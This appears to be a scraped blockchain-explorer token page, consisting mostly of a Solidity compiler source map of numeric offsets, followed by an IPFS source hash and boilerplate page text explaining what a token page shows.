1:-1;;;3751:18:1;;;3744:38;3799:19;;10241:79:0;;;;;;;;;10331:57;10340:6;4301:10;10362:25;10381:6;10362:16;:25;:::i;:::-;10331:8;:57::i;:::-;-1:-1:-1;10408:4:0;;9998:422;-1:-1:-1;;;;9998:422:0:o;10428:215::-;4301:10;10516:4;10565:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;10565:34:0;;;;;;;;;;10516:4;;10533:80;;10556:7;;10565:47;;10602:10;;10565:47;:::i;6212:148::-;5794:10;5783:7;5609;5636:6;-1:-1:-1;;;;;5636:6:0;;5563:87;5783:7;-1:-1:-1;;;;;5783:21:0;;5775:66;;;;-1:-1:-1;;;5775:66:0;;4426:2:1;5775:66:0;;;4408:21:1;;;4445:18;;;4438:30;4504:34;4484:18;;;4477:62;4556:18;;5775:66:0;4224:356:1;5775:66:0;6319:1:::1;6303:6:::0;;6282:40:::1;::::0;-1:-1:-1;;;;;6303:6:0;;::::1;::::0;6282:40:::1;::::0;6319:1;;6282:40:::1;6350:1;6333:19:::0;;-1:-1:-1;;;;;;6333:19:0::1;::::0;;6212:148::o;12850:304::-;12989:6;;-1:-1:-1;;;;;12989:6:0;12977:10;:18;12969:27;;;;;;12998:17;13018:16;13032:1;13018:2;:16;:::i;:::-;13046:6;;-1:-1:-1;12998:36:0;-1:-1:-1;12998:36:0;13110:6;13092:15;13101:6;13092;:15;:::i;:::-;:24;;;;:::i;:::-;13091:38;;;;:::i;:::-;-1:-1:-1;;;;;13070:18:0;;;;;;;:9;:18;;;;;:59;;;;-1:-1:-1;;;;;12850:304:0:o;9016:104::-;9072:13;9105:7;9098:14;;;;;:::i;10651:377::-;4301:10;10744:4;10788:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;10788:34:0;;;;;;;;;;10841:35;;;;10833:85;;;;-1:-1:-1;;;10833:85:0;;6334:2:1;10833:85:0;;;6316:21:1;6373:2;6353:18;;;6346:30;6412:34;6392:18;;;6385:62;-1:-1:-1;;;6463:18:1;;;6456:35;6508:19;;10833:85:0;6132:401:1;10833:85:0;10929:67;4301:10;10952:7;10961:34;10980:15;10961:16;:34;:::i;10929:67::-;-1:-1:-1;11016:4:0;;10651:377;-1:-1:-1;;;10651:377:0:o;9479:175::-;9565:4;9582:42;4301:10;9606:9;9617:6;9582:9;:42::i;6515:244::-;5794:10;5783:7;5609;5636:6;-1:-1:-1;;;;;5636:6:0;;5563:87;5783:7;-1:-1:-1;;;;;5783:21:0;;5775:66;;;;-1:-1:-1;;;5775:66:0;;4426:2:1;5775:66:0;;;4408:21:1;;;4445:18;;;4438:30;4504:34;4484:18;;;4477:62;4556:18;;5775:66:0;4224:356:1;5775:66:0;-1:-1:-1;;;;;6604:22:0;::::1;6596:73;;;::::0;-1:-1:-1;;;6596:73:0;;6740:2:1;6596:73:0::1;::::0;::::1;6722:21:1::0;6779:2;6759:18;;;6752:30;6818:34;6798:18;;;6791:62;-1:-1:-1;;;6869:18:1;;;6862:36;6915:19;;6596:73:0::1;6538:402:1::0;6596:73:0::1;6706:6;::::0;;6685:38:::1;::::0;-1:-1:-1;;;;;6685:38:0;;::::1;::::0;6706:6;::::1;::::0;6685:38:::1;::::0;::::1;6734:6;:17:::0;;-1:-1:-1;;;;;;6734:17:0::1;-1:-1:-1::0;;;;;6734:17:0;;;::::1;::::0;;;::::1;::::0;;6515:244::o;12496:346::-;-1:-1:-1;;;;;12598:19:0;;12590:68;;;;-1:-1:-1;;;12590:68:0;;7147:2:1;12590:68:0;;;7129:21:1;7186:2;7166:18;;;7159:30;7225:34;7205:18;;;7198:62;-1:-1:-1;;;7276:18:1;;;7269:34;7320:19;;12590:68:0;6945:400:1;12590:68:0;-1:-1:-1;;;;;12677:21:0;;12669:68;;;;-1:-1:-1;;;12669:68:0;;7552:2:1;12669:68:0;;;7534:21:1;7591:2;7571:18;;;7564:30;7630:34;7610:18;;;7603:62;-1:-1:-1;;;7681:18:1;;;7674:32;7723:19;;12669:68:0;7350:398:1;12669:68:0;-1:-1:-1;;;;;12750:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;12802:32;;1342:25:1;;;12802:32:0;;1315:18:1;12802:32:0;;;;;;;12496:346;;;:::o;11036:604::-;-1:-1:-1;;;;;11142:20:0;;11134:70;;;;-1:-1:-1;;;11134:70:0;;7955:2:1;11134:70:0;;;7937:21:1;7994:2;7974:18;;;7967:30;8033:34;8013:18;;;8006:62;-1:-1:-1;;;8084:18:1;;;8077:35;8129:19;;11134:70:0;7753:401:1;11134:70:0;-1:-1:-1;;;;;11223:23:0;;11215:71;;;;-1:-1:-1;;;11215:71:0;;8361:2:1;11215:71:0;;;8343:21:1;8400:2;8380:18;;;8373:30;8439:34;8419:18;;;8412:62;-1:-1:-1;;;8490:18:1;;;8483:33;8533:19;;11215:71:0;8159:399:1;11215:71:0;-1:-1:-1;;;;;11383:17:0;;11359:21;11383:17;;;:9;:17;;;;;;11419:23;;;;11411:74;;;;-1:-1:-1;;;11411:74:0;;8765:2:1;11411:74:0;;;8747:21:1;8804:2;8784:18;;;8777:30;8843:34;8823:18;;;8816:62;-1:-1:-1;;;8894:18:1;;;8887:36;8940:19;;11411:74:0;8563:402:1;11411:74:0;11516:22;11532:6;11516:13;:22;:::i;:::-;-1:-1:-1;;;;;11496:17:0;;;;;;;:9;:17;;;;;;:42;;;;11549:20;;;;;;;;:30;;11573:6;;11496:17;11549:30;;11573:6;;11549:30;:::i;:::-;;;;;;;;11614:9;-1:-1:-1;;;;;11597:35:0;11606:6;-1:-1:-1;;;;;11597:35:0;;11625:6;11597:35;;;;1342:25:1;;1330:2;1315:18;;1196:177;11597:35:0;;;;;;;;11123:517;11036:604;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:186::-;1959:6;2012:2;2000:9;1991:7;1987:23;1983:32;1980:52;;;2028:1;2025;2018:12;1980:52;2051:29;2070:9;2051:29;:::i;:::-;2041:39;1900:186;-1:-1:-1;;;1900:186:1:o;2091:466::-;2186:6;2194;2202;2210;2218;2271:3;2259:9;2250:7;2246:23;2242:33;2239:53;;;2288:1;2285;2278:12;2239:53;2311:29;2330:9;2311:29;:::i;:::-;2301:39;;2359:38;2393:2;2382:9;2378:18;2359:38;:::i;:::-;2091:466;;2349:48;;-1:-1:-1;;;;2444:2:1;2429:18;;2416:32;;2495:2;2480:18;;2467:32;;2546:3;2531:19;;;2518:33;;-1:-1:-1;2091:466:1:o;2770:260::-;2838:6;2846;2899:2;2887:9;2878:7;2874:23;2870:32;2867:52;;;2915:1;2912;2905:12;2867:52;2938:29;2957:9;2938:29;:::i;:::-;2928:39;;2986:38;3020:2;3009:9;3005:18;2986:38;:::i;:::-;2976:48;;2770:260;;;;;:::o;3035:380::-;3114:1;3110:12;;;;3157;;;3178:61;;3232:4;3224:6;3220:17;3210:27;;3178:61;3285:2;3277:6;3274:14;3254:18;3251:38;3248:161;;3331:10;3326:3;3322:20;3319:1;3312:31;3366:4;3363:1;3356:15;3394:4;3391:1;3384:15;3248:161;;3035:380;;;:::o;3829:127::-;3890:10;3885:3;3881:20;3878:1;3871:31;3921:4;3918:1;3911:15;3945:4;3942:1;3935:15;3961:128;4028:9;;;4049:11;;;4046:37;;;4063:18;;:::i;4094:125::-;4159:9;;;4180:10;;;4177:36;;;4193:18;;:::i;4585:422::-;4674:1;4717:5;4674:1;4731:270;4752:7;4742:8;4739:21;4731:270;;;4811:4;4807:1;4803:6;4799:17;4793:4;4790:27;4787:53;;;4820:18;;:::i;:::-;4870:7;4860:8;4856:22;4853:55;;;4890:16;;;;4853:55;4969:22;;;;4929:15;;;;4731:270;;;4735:3;4585:422;;;;;:::o;5012:806::-;5061:5;5091:8;5081:80;;-1:-1:-1;5132:1:1;5146:5;;5081:80;5180:4;5170:76;;-1:-1:-1;5217:1:1;5231:5;;5170:76;5262:4;5280:1;5275:59;;;;5348:1;5343:130;;;;5255:218;;5275:59;5305:1;5296:10;;5319:5;;;5343:130;5380:3;5370:8;5367:17;5364:43;;;5387:18;;:::i;:::-;-1:-1:-1;;5443:1:1;5429:16;;5458:5;;5255:218;;5557:2;5547:8;5544:16;5538:3;5532:4;5529:13;5525:36;5519:2;5509:8;5506:16;5501:2;5495:4;5492:12;5488:35;5485:77;5482:159;;;-1:-1:-1;5594:19:1;;;5626:5;;5482:159;5673:34;5698:8;5692:4;5673:34;:::i;:::-;5743:6;5739:1;5735:6;5731:19;5722:7;5719:32;5716:58;;;5754:18;;:::i;:::-;5792:20;;5012:806;-1:-1:-1;;;5012:806:1:o;5823:131::-;5883:5;5912:36;5939:8;5933:4;5912:36;:::i;5959:168::-;6032:9;;;6063;;6080:15;;;6074:22;;6060:37;6050:71;;6101:18;;:::i

Swarm Source

ipfs://3ed26a41e4c3bd69d0c88d59eeeb77a5cfaf31a18b37c0fd0de79d3b17d05518
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.